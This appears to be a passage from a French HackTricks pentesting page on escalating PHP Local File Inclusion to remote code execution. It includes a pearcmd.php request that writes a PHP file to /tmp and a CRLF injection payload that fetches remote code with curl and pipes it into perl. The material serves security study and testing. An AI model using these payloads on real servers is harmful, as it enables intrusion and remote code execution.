Si vous trouvez une Local File Inclusion même si vous n’avez pas de session et que session.auto_start est Off. Si vous fournissez la variable PHP_SESSION_UPLOAD_PROGRESS dans des données multipart POST, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir RCE :
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Si vous trouvez une Local File Inclusion et que le serveur tourne sous Windows, vous pourriez obtenir RCE :
Via pearcmd.php + URL args
As explained in this post, le script /usr/local/lib/phppearcmd.php existe par défaut dans les php docker images. De plus, il est possible de passer des arguments au script via l’URL car il est indiqué que si un paramètre d’URL n’a pas de =, il doit être utilisé comme argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Ce qui suit exploite une vuln CRLF pour obtenir RCE (d’après here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Si vous trouvez une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE :
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Si vous trouvez une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure comporte des balises PHP, vous pouvez essayer de contourner cette vérification avec cette Race Condition :
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Si vous pouvez abuser de la LFI pour téléverser des fichiers temporaires et faire en sorte que le serveur fige l’exécution PHP, vous pouvez ensuite brute force les noms de fichiers pendant des heures pour trouver le fichier temporaire :
To Fatal Error
Si vous incluez l’un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur).
Je ne sais pas à quel point c’est utile mais ça pourrait l’être.
Même si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP uploadés sont supprimés.
.png)
Références
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


